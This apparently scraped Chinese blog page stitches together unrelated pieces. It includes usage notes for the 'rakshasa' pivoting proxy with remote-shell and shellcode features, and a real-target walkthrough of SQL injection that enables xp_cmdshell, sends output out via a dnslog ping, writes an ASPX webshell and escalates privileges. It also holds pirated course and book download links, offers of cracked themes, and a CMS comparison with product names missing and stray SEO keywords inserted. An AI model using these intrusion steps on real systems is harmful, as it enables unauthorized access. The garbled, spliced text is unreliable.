不带任何参数即可启动:

d:\>rakshasa.exe
start on port: 8883
rakshasa>
rakshasa>help

Commands:
  bind              进入bind功能
  clear             clear the screen
  config            配置管理
  connect           进入connect功能
  exit              exit the program
  help              display help
  httpproxy         进入httpProxy功能
  new               与一个或者多个节点连接,使用方法 new ip:端口 多个地址以,间隔 如1080 127.0.0.1:1081,127.0.0.1:1082
  ping              ping 节点
  print             列出所有节点
  remoteshell       远程shell
  remotesocks5      进入remotesocks5功能
  shellcode         执行shellcode
  socks5            进入socks5功能


rakshasa>

请查阅CLI使用说明了解详细信息(见文章下面留言补充(4) )

其他启动参数说明

-nocli
在无法后台执行的情况下,启动一个不带 CLI 的节点:

nohup /root/rakshasa -nocli > /root/rakshasa.log 2>&1 &
#Linux下配合nohup后台执行

-p 端口
以指定端口启动:

rakshasa -p 8883

-d ip:port,ip:port...
连接下一层代理或更多层代理,多个地址以逗号隔开,生效在最后一个 ip:port:

rakshasa -d 192.168.1.1:8883,192.168.1.2:8883,192.168.1.3:8883 -socks5 1080
#从本地1080端口启动一个socks5代理,流量通过三层转发ip最后在192.168.1.3请求目标数据

-socks5 用户名:密码@ip:端口
本地开启SOCKS5代理穿透到远程节点,可以不带-d:

rakshasa -socks5 1080 
#不使用-d参数,则表示直接在本机启动一个socks5代理

-remotesocks5 端口
远程开启SOCKS5代理流量出口到本地:

rakshasa -remotesocks5 1081  -d 192.168.1.2:1080,192.168.1.3:1080
#方向从右往左(加上本机是3个节点),在192.168.1.3这台机器开启一个socks5端口1081,流量穿透到本地节点出去

-connect ip:port,remote_ip:remote_port
本地监听并转发到指定 IP 端口,使用场景为本机连接 teamserver,隐藏本机 IP:

rakshasa -connect 127.0.0.1:50050,192,168,1,2:50050 -d 192.168.1.3:1080,192.168.1.4:1080 
#本机cs连接127.0.0.1:50050实际上通过1.3,1.4节点后,再连接到192.168.1.2:50050 teamserver,teamserver看到你的ip是最后一个节点的ip

-bind ip:port,remote_ip:remote_port
反向代理模式,必须配合-d使用:

rakshasa -bind 192.168.1.2:50050,0,0,0.0:50050 -d 192.168.1.3:1080,192.168.1.4:1080
#与上面相反,在最右端节点监听端口50050,流量到本机节点后,最终发往192.168.1.2,最终上线ip为本机ip

-http_proxy 用户名:密码@ip:端口
启动一个http代理,可以不使用-d,建议配合-http_proxy_pool使用代理池,自动切换代理ip:

rakshasa -http_proxy 8080 -http_proxy_pool out.txt

-password 密钥
各节点除了证书校验之外,还额外支持密钥连接,建议使用并定期更换密钥,以避免二进制泄露后被别人连上

rakshasa -password 123456

-f yaml文件
指定配置文件启动。

-help
更多启动参数使用帮助

关于开源

本作品使用MPL 2.0许可证,您可以下载、修改和使用本代码。然而,您必须明确表示,任何此类担保、支持、赔偿或责任义务均由您单独提供,与本作者无关。本人不承担您在使用或修改本程序所造成的任何后果或责任。

在遵循MPL 2.0许可证的基础上,您可以自由地对rakshasa进行修改和扩展,以满足您的特定需求。同时,您可以将改进和新功能贡献给社区,让更多人受益。但请注意,确保在分享和发布修改后的代码时遵守许可证要求,并尊重原作者的版权。

记录一次实战稍曲折拿下目标站点的过程。

前期摸点

IIS7.0+ASP.NET的组合,简单尝试发现前台登录页面可能存在SQL注入,数据包如下:
sqli-burp
为了节约时间直接祭出sqlmap,-r x.txt -v 3 --random-agent --dbms=mssql --batch
sqlmap
识别出了数据库,却被不明力量拦截了。

手工尝试绕过不明力量,堆叠的方式利用xp_cmdshell尝试将命令回显从dnslog中带出来:

先开xp_cmdshell:EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE
利用dnslog带出回显:EXEC master..xp_cmdshell 'ping xxx.dnslog.cn -n 2'

一顿操作过后发现dnslog没反应,这里可能有几个原因,第一就是被不明力量拦截了,第二是目标不出网,第三可能我们语句构造有问题。是第一个原因的可能性比较大。

曲线救国

放弃注入后,还测试了其他漏洞,都以失败告终。但是目标是一个单位的子域而已,可以从单位的其他站点入手,进入内网后再尝试MS17010、pth等等手段来拿到目标机器权限即可。

于是在历经九九八十一难后,我们终于在目标所属B段中拿到一台机器权限,并使用代理成功进入内网。

遗憾的是拿到的机器是linux服务器,并且内网MS17010都已经打了补丁,fscan扫出来的结果基本无用。如果我们继续拿内网机器权限再利用hash传递攻击尝试的话,且不说密码是否通杀,就时间上也会浪费不少,于是陷入了小小的尴尬境地。

不过我们随即转念一想,大多数的不明力量都会部署在dmz或者在最外层交换机之上,而目前我们在内网中是不是不会受到不明力量影响?思路到此立即掏出sqlmap,再次-r x.txt -v 3 --random-agent --dbms=mssql --batch
sqlmap工具
果然如我们所想,成功注出来了,先看一下权限:

sqlmap查看权限
dba权限,直接os-shell,采用的是堆叠+延时的注入,一个whoami等了将近10分钟的时间,太慢了,还是手注吧。

从whoami的回显得知系统权限为低权限,加用户肯定是行不通了,站库没有分离,直接写个webshell。路径的话在报错的数据包就可以找到,值得注意的是,这里权限是普通用户权限,所以写webshell最好选择上传的目录或图片路径,本人尝试写入根路径浪费了一些时间。

上语句:
%';EXEC xp_cmdshell 'echo "xxx" > D:\xxx\xxx\xxx.aspx' -- -
shell
成功getshell,最后用土豆提权收个尾,战斗结束。
getshell提权

课程内容目录:

1-AIGC与课程概述

2-让你未来5年高速增长的Al认知课-摄影人篇1

3-让你未来5年高速增长的AI认知课-摄影人篇2

4-初期问题汇总(如能正常使用可不看!)

5-Midjourney与其他Al制图工具对比优缺点

6-如何注册?与注意事项!

7-生成你的第一个AI图像作品!

8-第一次使用MJ必须设置的地方有哪些?

9-如何让AI听懂你的话?

10-如何进一步提升AI作品质量并优化?

11-如何生成摄影/设计/产品等不同领域的图像?

12-起手-提示词的底层万能写作句式是什么?(上)

13-调整-提示词的底层万能写作句式是什么?(中)

14-丰富-提示词的底层万能写作句式是什么?(下)

15-不同风格的图像如何生成?

16-图像进阶生成方法-垫图如何使用?

17-怎样控制垫图的还原与想象?图像权重功能的使用

18-怎样通过AI软件放大照片?从100万像素到3800万像素

19-人像摄影行业如何落地应用?mj作图+Al换脸

20-AI摄影如何100%还原客人或模特的脸

21-怎样用图片反向推导提示词?-describe命令的使用

22-不会写提示词?几个方法帮你解决!

23-图像尺寸如何修改?隐藏的命令参数都有什么?

24-V5模型改动细节说明-放大器-长宽比-文字描述

25-模型是什么?如何选择并合理使用MJ的模型?

26-用Al合成图像-融图的使用方法?

27-怎样把新元素融合进图像?

28-如何更好的控制AI听你指挥?

29-怎样去掉图像中不想要的元素?

30-如何更好的作出二次元和动漫风图片?niji5模型的使用

31-如何制作平铺背景图?V5-tile命令的使用

32-seed命令是什么?如何使用?

33-怎样合理保存并再次生成图像?如何批量下载?

34-社区规范、版权与账号说明
35......

链接:https://pan.baidu.com/s/1cgZQAA7wUkls9VdNDk_Lhw?pwd=p40m

  纯情博客为您提供最新网络安全黑客博客信息资讯

  写在前面的话:

  最近跨境圈可谓风起云涌,不少亚马逊顶级玩家都惊雷:所有店铺账户被封,数亿甚至数十亿资产被锁,员工深夜打卡wordpress论坛模板下载,收到邮件第二天就收到公司解雇通知……亚马逊卖家每个人都有风险。

  这时候大家也意识到拥有一个网站、一个拥有独立话语权的品牌是多么的重要。 因此,独立站成为了新的跨界风口。

  但风口内也会有碎石甚至石头。 如果你碰它,你不会死,但你可能会受伤或让你感到不舒服。

  在建立独立站的过程中,有些人也会遇到一些大陷阱或者不靠谱的人,所以我们推出了从独立站到品牌营销的系列。 帮助大家了解独立站从搭建到优化过程中涉及到的问题及解决方案,希望能帮助大家避免一些坑。

  您可以通过以下链接观看之前的文章:

  今天我要跟大家分享的是如何为企业选择建站系统。

  

  一、常用建站系统

  市场上常见的建站系统有两种:传统建站系统和CMS建站系统

  传统网站建设

  传统建站,顾名思义,就是最传统的使用代码构建网站的方式。 使用代码构建网站是所有网站构建系统的基础。

  但对于没有代码基础的人来说,这种建站方式太难了,后期的修改和操作只能依靠专业的技术人员,可操作性不强。 于是,衍生出了CMS建站系统。

  CMS建站系统

  CMS 是内容管理系统的缩写,是一个用于创建内容的 Web 模板。 简单来说wordpress插件,技术人员用代码写了一套程序,只需要上传内容,系统就可以自动生成相关网页。

  它允许多个成员同时创建、编辑和发布。 用户上传的内容存储在数据库中,并根据网站模板进行展示。

  与传统的建站方式相比,CMS建站系统具有以下优点:

  大家都熟悉并且属于CMS建站系统。

  那么,我们来看看国内外常见的CMS建站系统,以及各自的优势:

  国内常见CMS建站系统

  在我国,建站系统中经常使用的CMS系统有织梦系统、帝国系统、系统等。 让我们来看看这些系统的差异、优缺点。

  CMS建站系统(⭐️⭐️⭐️⭐️⭐️)

  CMS建站系统()是国内最流行的建站系统之一,大部分外贸网站都建过。 它模板丰富,功能强大,扩展性强,可以轻松帮助您打造独一无二的网站。 我们来盘点一下这个系统的优缺点:

  优势:

  缺点:

  织梦DEDE CMS(⭐️⭐️)

  知盟也是国内知名的老牌建站系统。 主要是针对中小企业和个人站长的新闻内容管理平台。 但原创团队解散后,这个系统就不再更新和维护了,所以我们看到的DEDE CMS的运行后台是比较老的。

  织梦DEDE CMS的模板比较简单,扩展性较差。 适合没有定制需求的新手操作。 最受诟病的部分是网站的安全性。 由于编织梦想是开源的,DEDE制作的网站经常被黑客攻击。 这已经是众所周知的事情了。

  优势:

  缺点:

  帝国CMS (⭐️⭐️⭐️)

  帝国CMS建站系统()是2002年推出的一款CMS建站系统,系统采用老式的表格布局模式,背景非常复杂,对于新手来说并不友好。 但其模板标签扩展灵活,但需要用户有一定的代码基础。

  优势:

  缺点:

  (⭐️⭐️)

  适合二次开发。 它的系统底层架构做得很好脚本源码,负载能力也很强大,但是开发人员需要掌握Html、PHP、Mysql等技术语言。 该技术采用模块化方式开发,功能简单易用,易于扩展,采用mvc模式。 与其他cms相比,该技术是新的。 遗憾的是该网站已于2020年初关闭,建议您谨慎选择。

  优势:

  缺点:

  以上是国内企业网站经常使用的建站系统。 除了这些系统之外,还有一些专门用于网站建设博客或新闻网站的网站建设程序。 这里你可以参考:

  国外常见CMS建站系统

  说起国外的CMS建站系统,、、、、等系统大家都很熟悉。 此外,还有其他一些国外常用而国内很少使用的系统,如 、 、 等。 下面我们来看看这些网站的优缺点:

  网站建设系统(⭐️⭐️⭐️⭐️⭐️)

  该系统是全球使用最广泛的开源CMS建站系统,互联网上35%的网站都是由该系统构建的。 该平台于2003年推出,自此以其简单易用的操作后台、丰富的模板和插件、良好的扩展性在众多CMS建站系统中脱颖而出。

  优势:

  缺点:

  网站建设系统(⭐️⭐️⭐️⭐️)

  是一个致力于建立在线零售商店的托管电子商务平台。 该系统非常适合初学者开设网上商店。 您无需购买任何主机、管理备份和安全性。 您只需支付29-299美元,即可使用该系统。

  除了最基本的版本外,还推出了每月2000美元的Plus计划,对应更全面的功能:专属账户管理器,更多主题和App选择wordpress论坛模板下载,产品页面支持AR、Video、3D视频wordpress论坛模板下载,同一个面板即可管理多个门店同时开店、更详细的数据分析功能以及优化的支付系统等。

  优势:

  缺点:

  (⭐️⭐️⭐️⭐️)

  它是Adobe旗下的一个电子商务平台,可以为精通代码技术的店主提供无限的可能性。 建站系统有两个版本:Open 和 .

  通过Open,您可以下载免费的开源建站系统

  然后就是专门为企业搭建一个网站wordpress论坛模板下载,费用也比较贵。

  优势:

  缺点:

  (⭐️⭐️⭐️⭐️)

  它是一个综合性的在线电子商务平台,其性质与阿里巴巴类似。 如果您对代码一无所知,那么这个平台非常适合您。

  该平台需要付费,但您可以免费试用。 因为平台是一站式管理系统,所以不需要额外购买服务器和域名(域名平台可以免费提供,类似,当然你也可以自己购买)。

  平台提供丰富的模板和插件,可以实现高度的定制化设计。 因为它主要是为电子商务设计的,所以可以上传大量的产品、图片和文章而不影响速度。 后台操作界面非常清晰简单,适合新手操作。

  优势:

  缺点:

  (⭐️⭐️⭐️)

  它也是一个免费的开源CMS建站系统。 该平台成立于2005年,已经发展多年,平台中的模板和插件非常丰富,可扩展性非常强。 与其他建站系统相比,它具有更强大的内置功能。 借助其内置功能渗透测试,用户可以轻松创建多种语言的页面,以及创建不同模板和类型的文章页面等。但在国内,使用该系统的公司很少,因此很难找到相关的技术人员。

  优势:

  缺点:

  (⭐️⭐️⭐️)

  它也是一个开源CMS系统,可用于创建大型网站、个人博客和新闻网站等。由于该平台是专门为开发人员设计的,因此用户必须对PHP、HTML和CSS有一定的了解才能充分利用的所有功能。

  CMS建站功能有上千种模板和插件可供选择,可以实现高度的定制设计功能。 系统内置多语言功能,可以轻松实现多语言切换。 另外,其安全性在所有CMS建站系统中也是首屈一指的。

  优势:

  缺点:

  

  二、外贸企业选建建站系统注意事项

  上面我们盘点了这么多的建站系统,那么我们应该选择哪一款呢?在做出选择之前,建议您考虑以下几点观点

  1.系统的易用性

  优秀的CMS系统可以让您非常简单轻松地上传、编辑和管理您的内容。 此类系统的后台一般都支持拖放功能,允许您向页面添加不同的模块和元素。

  2、系统功能齐全、成熟度高、用户量大

  只有系统功能齐全的CMS系统才能实现您对网站的所有想法。 如果系统不完善、不成熟,就会导致功能失效,影响网站建设。系统功能齐全收费插件,成熟度高,用户量大。 只有这样的系统实用性高,满足企业的基本功能需求,有利于后期的自我维护。

  3.安全(非常重要!!!)

  CMS系统的安全性是我们需要关注的一个因素。 毕竟网站建设很难,没有人希望网站被黑客攻击。 因此,CMS系统是否经常更新、安装补丁、是否有相关人员/社区提供技术支持非常重要。

  除了系统安全之外,我们还需要考虑数据信息的安全。 其中包括流量信息、订单信息、客户信息等,如果这些数据很容易被第三方获取,那么网站的损失将会很大。

  4. 该系统是开源系统吗?

  国外CMS建站系统大多是开源系统。 开源系统意味着代码是向公众开放的,易用性会比较高。 您可以轻松地从建站公司那里获得网站的源代码(国内很多公司自​​己的系统不会为您提供通用源代码,这意味着您只是租了一个房间,一切最终还是建站公司.)

  5.丰富的模板和插件

  如果有更多的模板和插件,可以为我们的网站修改提供更高的自由度。可扩展性强

  6.搜索引擎优化

  CMS系统是否针对搜索引擎进行优化,是否有第三方插件支持网站进行搜索引擎优化。 毕竟网站建成后,需要在搜索引擎上进行排名。 如果CMS系统对搜索引擎不友好,网站的建设意义不大。

  7、售后及技术支持

  网站就像一台巨大的机器。 当这台机器出现问题时,您需要看看是否有足够的技术支持来帮助您解决这个问题。 找不到技术支持,或者解决问题太慢,都会影响网站的正常工作。

  结合以上7个要素,这里我们推荐您使用以下网站建设系统来建设网站:

  那么接下来我们就以7步为例,教大家如何搭建一个独立站。

  

  Part3、建独立站7步

  01

  选择一个域名

  在建立网站之前,首先要确定网站的名称并购买域名。 选择一个合适的域名并不是那么简单。 关于如何选择域名,请参考我们之前的文章——》

  02

  选择服务器

  关于如何选择服务器,请参考我们之前的文章——》

  03

  安装

  无论您的服务器,选择,,还是,这些大型网站后台都是集成安装的,只需要简单的操作即可安装。 在这里,作为一个例子,

  1.登录控制面板-

  2. 找到该部分并单击“应用程序”

  3.点击选中的标志,点击 即可看到安装界面,点击“”进行安装

  4.按要求填写安装信息

  5. 应用程序将检查您填写和提交的数据,并将文件安装到您的服务器上。 单击“返回概述”,您将在当前安装列表中看到安装进度。

  04

  选择模板并自定义

  一个网站除了要有优秀的文字内容来吸引用户之外typecho主题,还需要有一个漂亮的网页设计。 系统提供大量免费和付费网站模板供用户选择。 我们只需要点击背景就可以看到系统提供的免费模板。

  点击“新增”进入模板库,在模板库中选择您喜欢的网站模板,安装并激活,然后应用到网站中。

  除了直接安装模板库中的模板外,我们还可以去第三方网站购买模板。 很多第三方网站上的模板都是由专业技术人员开发或优化的,展示效果和优化效果都非常好。

  知名的模板销售网站包括:

  还有一种方法可以安装在这些网站上购买的模板:登录后台-点击-新增

  进入后,点击主题黑客纯情,上传您从第三方网站购买的模板文件.zip,激活并安装。

  之后我们就可以对选定的模板进行自定义,选择我们喜欢的风格、文字颜色和布局等。当然,你也可以安装必要的插件,比如排版插件、SEO插件Yoast SEO等。

  05

  上传内容

  使用后台提供的功能项上传文字、图片、视频:

  06

  预览和测试站点

  上传基本页面、产品和文章内容后,我们可以预览网站,看看网站达到的显示效果是否是我们想要的。 以及是否能够实现所有想要的功能。 如果预览测试通过,那么您就可以大规模上传产品和文章内容,并实施SEO优化。

  如果功能不理想,需要对网站进行调整和修改。

  07

  发布网站并进行营销

  确定我们的网站没有问题后视频培训脚本,我们就可以发布网站并让索引该网站。 并安排后续的网站营销工作,如SEO优化、谷歌广告或社交引流等。

  如果您对如何选择建站系统有任何疑问,请在下方留言。

  结尾

  如果您想学习更多外贸SEO知识chatgpt,您可以通过以下方式找到我们:

人们可以在这里兜售自己的身体器官,也可以买到需要的任何身体部位,穿梭在这种市场的有器官掮客、人骨窃贼、人口贩子,更骇人听闻和荒诞的还有,如人称“肾脏村”的印度村庄,因为多数村民都为了钱卖掉自己的肾;肆无忌惮的盗墓人从墓园、太平间、火葬用的木柴堆里偷窃人骨,制成西方医学院与实验室的解剖示范用骨骸;古老的寺庙将虔诚信徒的头发卖给美国的假发制造商,年收入高达600万美元。 这两个地带之间并非泾渭分明,而是一个更为复杂的灰色地带。 作者的此次全球[backcolor=rgba(16, 110, 190, 0.18)]人体市场之旅,揭露了这一产值高达数十亿美元的地下贸易在历史上的兴衰和复兴,并展现了早期的医疗研究和现代大学、赤贫的欧亚村落和高科技的西方实验室、盗尸人和代{过}{滤}理孕母、人骨贩子和卖身体部位维生的穷人。

“假使血液这种活体组织愈来愈多被当成商品来买卖,并从血液
交易中累积获利,最终必定会受商业规则辖治。”
——英国社会人类学家理查德·蒂特马斯
“印度境内其他地方,人们在说着要去马来西亚或美国的时候,
眼里都闪烁着希望的光芒;海啸难民安置区的人,眼里闪烁着希望的
光芒时,却在说着要卖肾的事。”
——印度社会活动人士马利亚·瑟文

夸克网盘

链接:https://pan.quark.cn/s/2931544193e8

度盘
链接:https://pan.baidu.com/s/18paDk_eLE0zJgFDspDK8JQ?pwd=52pj

提取码:52pj

  纯情博客为您提供最新网络安全黑客博客信息资讯

   网站是如此强大和灵活,但有时候默认的注册流程却让人感到繁琐和不便。幸运的是渗透测试,有一些优秀的 注册插件可以帮助你解决这个问题。让我们来看看这些插件如何改善你的网站注册体验吧!

  1. :这个插件提供了强大且易于使用的功能黑客技术,可以轻松地创建自定义注册表单。你可以添加额外的字段wordpress 注册插件,如个人资料、头像上传等,以满足不同用户类型的需求。

  2. User :这是一个功能齐全且高度可定制的插件,它允许你创建多个注册表单,并为每个表单设置不同的字段和选项。你还可以通过电子邮件通知、自动登录和自定义重定向等功能提高用户体验。

  3. :虽然主要是一个联系表单插件黑客博客,但 也提供了一个简单而强大的用户注册功能。你可以使用它来创建漂亮而直观的注册表单,并轻松集成到你的网站中。

  4. :如果你正在构建一个社交网络或在线社区网站, 是一个绝佳选择。它提供了一套完整的社交功能,包括用户配置文件、私信、社交活动等。

  5. :正如其名typecho主题,这个插件专注于提供简单而有效的会员管理功能。你可以轻松创建会员计划、限制内容访问权限,并为会员提供特殊待遇。

  6. :这是一个功能强大的注册表单生成器,可以帮助你创建各种类型的表单,包括注册、登录、重置密码等。它还支持多种支付网关集成wordpress 注册插件培训脚本,方便你收费注册。

  7. :作为一个全面的用户配置文件解决方案wordpress 注册插件, 允许你创建自定义注册和登录表单,并添加额外的字段和选项。你还可以根据用户角色和权限来管理用户访问。

  8. Paid Pro:如果你希望通过会员计划来获得收入收费插件,这个插件是你的不二选择。它提供了丰富的会员管理功能,包括不同计划、价格设置、优惠券等。

  9. Theme My Login:这个插件允许你在前台将登录、注册和密码重置页面与你的网站主题保持一致。你可以自定义表单样式和字段,并添加额外的安全措施。

  10. :虽然 是一个电子商务插件,但它也提供了一个完整的用户注册和登录系统。你可以使用 来创建会员商店wordpress 注册插件,并管理用户订单和个人资料。

  总结一下,这些 注册插件可以帮助你简化注册流程、提高用户体验typecho插件,并根据你的需求添加额外的功能。无论你是在建设社交网络、会员网站还是普通博客chatgpt,都可以从中找到适合自己的解决方案。赶快试试看吧!

  黑客博客网站源码

  主题破解版:

  主题网站源码免授权破解:

huggingface 上有不少好用的开源聊天机器人,但苦于自己没有强悍的机器部署,gradio 的 api 也不好直接调,就一直只能观望。这几天把 gradio 的 websocket 协议给研究了一下,发现了其中的奥秘,于是就有了一个可以一键白嫖各个空间的小工具。

它可以做什么:

  1. 可以无需代理直接调用 chatgpt (感谢 https://huggingface.co/spaces/yuntian-deng/ChatGPT
  2. 可以白嫖迪拜土豪老哥的 Falcon-chat https://huggingface.co/spaces/HuggingFaceH4/falcon-chat
  3. 也可以直接调用自己基于 gradio 的 chatbot (理论上只要有 chatbot 都可以解析),示例有说明
  4. 也可以调用魔搭社区的 chatglm2 等优秀国产模型

最重要的是,这些都不需要登录。如果你感兴趣的话,可以前往 https://github.com/weaigc/gradio-chatbot 试试,如果你有其它未适配空间,可以直接提 issue 给我。

:)(erha) [bsmessage type="common" color="primary" title="前言"]写在前面的话:这是一篇简短的编程教程。遵循主动阅读和主动学习的原则,我建议你在电脑上打开这篇教程,然后一边阅读一边跟着操作。如果你还能自己多捣鼓一下、多发散一下、多反思一下,效果更佳。Enjoy~[/bsmessage]

今年5月份的时候,AK(Andrej Karpathy)在 Microsoft BUILD 大会上做了一次关于 GPT的现状(State of GPT) 的主题演讲( https://youtu.be/bZQun8Y4L2A),临近末尾的时候他讲了一段非常有感染力的话,他说:

GPT-4是一个了不起的艺术品。我非常感谢它的存在,它很美。它有大量的知识,涉及这么多领域。它可以做数学、编码等等。此外,还有这个欣欣向荣的生态系统,其他一切都在建立,并被纳入生态系统中。其中一些事情我已经谈过了,所有这些力量都可以在你的指尖上获得。所以,以下是向GPT-4提出问题,提示它,并得到回应所需的所有代码:

如何在AI编程助手的帮助下开发一个AI编程助手?

当AK说“所有这些力量都可以在你的指尖上获得”,他是对着台下那些敲了很多年代码的开发者/工程师/程序员说的。那么假设我只是一个对编程有点兴趣的初学者,我的指尖又可以触到哪里?我要怎样获得和掌控像GPT这样的AI技术所带来的力量?这篇教程的目的是带着你跟这些强大的AI技术进行一次“亲密接触”——技术上的接触,而不仅仅是体验上的,最起码让你的指尖能触碰到它们。

0

在开始之前,我们有一点准备工作要做。你需要去到1024Code(https://1024code.com/)这个网站注册一个账号。1024Code是一个在线编程学习社区,它提供了一个云端编程环境,免除了配置环境和安装软件包的麻烦。不过1024Code现在还处于公测期,需要邀请注册。你可以在本公众号后台发送关键词“1024Code”获取一些可用的邀请码,数量有限,先到先得。

1

第一步,我们要把上面那段代码放到我们指尖。你只需要两步操作:
(1)用你注册的账号登录1024Code(https://1024code.com/);
(2)进入这个页面 https://1024code.com/codecubes/cpeouvm,点击【Fork空间】,就可以把代码Fork到你自己的代码空间里:

1024Code的IDE界面截图

我们Fork的代码跟AK给的那段代码有两处不同:

  1. 我们这里用的模型是GPT-3.5,不是GPT-4。1024Code目前还只开放了GPT-3.5的体验接口,GPT-4还没有对普通用户开放。
  2. 我们这里还调整了GPT扮演的角色和给它的指令。我们让他扮演“唐朝大诗人李白”,并让它“以‘月’为主题写一首古诗”。

你可以点击页面上方的【运行】按钮,看看GPT会给出什么样的响应。另外,你还可以试着修改一下代码里的角色设定部分(你是唐朝大诗人李白 )和指令部分(请以'月'为主题写一首古诗),让AI模型扮演不同的角色做一些其他的事情(注意要保留句子两边的双引号" ")。实际上,在你跟ChatGPT聊天的时候,背后发生的就是这样的一些“请求-响应”。

2

你可能会有一个疑问:这段代码是什么意思?我们来问问AI助手:
如何在AI编程助手的帮助下开发一个AI编程助手?

你可以选中整段代码,点那个【告诉AI助手要做什么】。然后输入你想问的问题,点【发送】。你也可以直接点下面的【解释代码】快捷按钮:
如何在AI编程助手的帮助下开发一个AI编程助手?1

AI助手给出了一个基本的解释。阅读完这段解释,你应该对这段代码有了一个基本认识。如果你觉得AI助手的这段解释不够具体的话,你还可以再次调起AI助手,选择【添加注释】这个快捷指令,让它给代码添加上注释,从而针对具体的代码给出解释:
如何在AI编程助手的帮助下开发一个AI编程助手?2

你可能会好奇,AI助手的这些功能是如何实现的?你可能也已经有了答案,这些功能实现的关键部分就类似于我们正在学习的这段代码:程序通过调用某个接口函数创建一个请求,把“系统角色的消息”和“用户角色的消息”作为输入,传给某个类似GPT的AI模型,然后把AI模型的回复内容打印出来。解释代码、添加注释、优化代码、查找Bug,这些功能都是AI模型自身具备的基础能力,你需要做的是通过编程以及一些提示词技术(精心编辑的指令)来引出这些能力。你现在应该已经感受到了AI模型的强大,并且可能生出一种渴望——想要利用AI模型编写一些有趣又有意义的应用程序。

3

现在的程序还太单调了,我们来给这个程序添加一点交互:

import openai

system_msg = "你是一名AI编程助手"
question = input("请输入你的问题:")

response = openai.ChatCompletion.create(
  model="gpt-3.5-turbo",
  messages=[
    {"role": "system", "content": system_msg},
    {"role": "user", "content": question}
  ]
)
print(response["choices"][0]["message"]["content"])

这里我们新增了两个变量: system_msg 用来存储系统角色消息,question 用来存储用户输入的问题。我们调整了角色设定,让AI模型来扮演一名AI编程助手。我们使用input 函数来获取用户的输入。你可能会有疑问:input 函数是什么?你可以调出平台提供的AI助手,问它。但是这次,我们来问问我们自己编写的AI编程助手。运行程序,然后在右侧控制台输入你的问题:
如何在AI编程助手的帮助下开发一个AI编程助手?3
结合它的解释以及你刚刚运行程序的体验,你应该大致明白 input 函数的作用了。你也可以换其他问法问它,或你有其他一些疑问,也可以问它(注意:你每次提问都需要重新运行程序)。
如何在AI编程助手的帮助下开发一个AI编程助手?4
如何在AI编程助手的帮助下开发一个AI编程助手?5

4

我们自己开发的AI编程助手已经初具模样了^_^ 但是,你应该已经发现了它的不足:它目前还不能进行多轮对话,每次提问都要重新运行。怎么办?肯定要继续写代码,完善它的功能。但这次,我们来试试让AI编程助手帮我们写。1024Code提供的AI助手除了可以从代码区调起之外,还可以从左侧的工具栏进入:

如何在AI编程助手的帮助下开发一个AI编程助手?6

点击工具栏上的【AI】按钮,你会打开一个类似ChatGPT的聊天窗,你可以通过聊天的方式跟AI编程助手交流。因为我们这次的需求稍稍有点复杂,所以我们需要构建一段稍稍复杂一点的提示词(输入给AI模型的问题或者指令):


import openai

system_msg = "你是一名AI编程助手"
question = input("请输入你的问题:")

response = openai.ChatCompletion.create(
  model="gpt-3.5-turbo",
  messages=[
    {"role": "system", "content": system_msg},
    {"role": "user", "content": question}
  ]
)
print(response["choices"][0]["message"]["content"])


怎样基于这段程序实现一个多轮对话的聊天AI程序?

这段提示词的第一部分是我们当前版本的程序代码,用` 把代码包起来,是为了让提示词格式更清晰,方便AI模型理解。提示词第二部分是指令,也就是我们想让AI模型完成的任务,代码部分可以看作是这个任务的输入内容。我们把这段提示词复制到聊天输入框,发送给1024Code的AI编程助手,看看它怎么回答(如果你想自己在聊天框输入多行提示词,可以用 Shift+Enter 输入换行):
如何在AI编程助手的帮助下开发一个AI编程助手?7
AI编程助手给我的回答是这样的,它给出了一段参考代码,并且附上了一些解释。因为AI模型生成的内容有随机性,所以你看到的回答会跟我看到的不一样。我们把它给的参考代码复制到代码区,运行看看:
如何在AI编程助手的帮助下开发一个AI编程助手?8
这里我向我们自己开发的AI编程助手提问:“while True 是什么意思?”,它给了一段简洁的解释。然后我又让它举几个例子,我期望它能给出一些代码示例,但是它的回答文不对题。作为用户,当我让它“举几个例子”的时候,我是想让它举几个关于 while True 应用的例子,但是它并没有结合前面的聊天上下文回答问题。我们把这个问题反馈给1024Code的AI编程助手,让它优化程序:
如何在AI编程助手的帮助下开发一个AI编程助手?9
AI编程助手重新生成了一段程序:
如何在AI编程助手的帮助下开发一个AI编程助手?10
阅读一下这段程序,你会发现程序新增了一些代码,你可能想要搞清楚这些新增的代码是什么意思?怎么办?相信你已经知道要怎么做了:把你的问题描述清楚,向AI编程助手提问。我们来运行这段程序,然后测试看看:
如何在AI编程助手的帮助下开发一个AI编程助手?11
OK,程序可以依据前面的聊天上下文来回答用户的问题了,它已经可以很好跟用户进行多轮对话了。总结一下我们的成就:我们在1024Code提供的AI编程助手的帮助下开发了一个简易版的AI编程助手。你跟AI的互动过程可能跟我这里演示的不一样,但是我相信你已经大致了解了跟AI编程助手协作的基本思路。GPT这类新的AI技术的出现让编程这件事儿变得更加有趣了,经历过这次“亲密接触”,你应该已经感受到了。新的AI技术不仅意味着我们可以利用这些技术开发出更强大、更有意思的应用程序,同时在AI的帮助下,我们的整个编程的体验也与以往不同了。当然,AI对于编程以及编程学习的改变还远不止如此,我们后面有机会再深入来聊。

5

最后一步,把我们的程序发布出去,供社区其他小伙伴把玩和学习:
如何在AI编程助手的帮助下开发一个AI编程助手?12

6

如果你想继续深入学习AI应用开发,下面是一些学习材料。

1024Code提供了两个AI应用模版(https://1024code.com/templates),一个Python的,一个Node.js的。你可以基于这些模版来创建自己的代码空间,模版里预置了一个复杂一些的AI应用示例,你可以在示例的基础上做开发。

如何在AI编程助手的帮助下开发一个AI编程助手?13

1024Code上还部署了一个Auto-GPT(https://1024code.com/codecubes/qi57zzj)——前段时间大火的一个AI应用,你可以把它Fork到自己的代码空间里把玩一下。

吴恩达跟OpenAI的工程师以及LangChain作者合作开发了几节AI应用开发的短课(https://www.deeplearning.ai/short-courses/),特别适合入门阶段的开发者。课程免费,但是是英文的。如果英文对你是一个问题,国内某视频站上应该可以搜到带中文字幕的搬运视频。

最后,OpenAI官方提供的资料:

功能介绍

平台采用 B/S 结构,后端采用主流的 Python+django 进行开发,前端采用主流的 Vue.js 进行开发。

整个平台包括前台和后台两个部分。

前台功能包括:首页、家教详情页、用户中心、家教入驻模块。
后台功能包括:总览、家教管理、分类管理、标签管理、评论管理、用户管理、运营管理、日志管理、系统信息模块。

效果演示

前台地址: http://jiajiao.gitapp.cn

后台地址: http://jiajiao.gitapp.cn/admin

后台管理帐号:

用户名:admin123 密码:admin123

代码结构

server 目录是后端代码
web 目录是前端代码

运行步骤
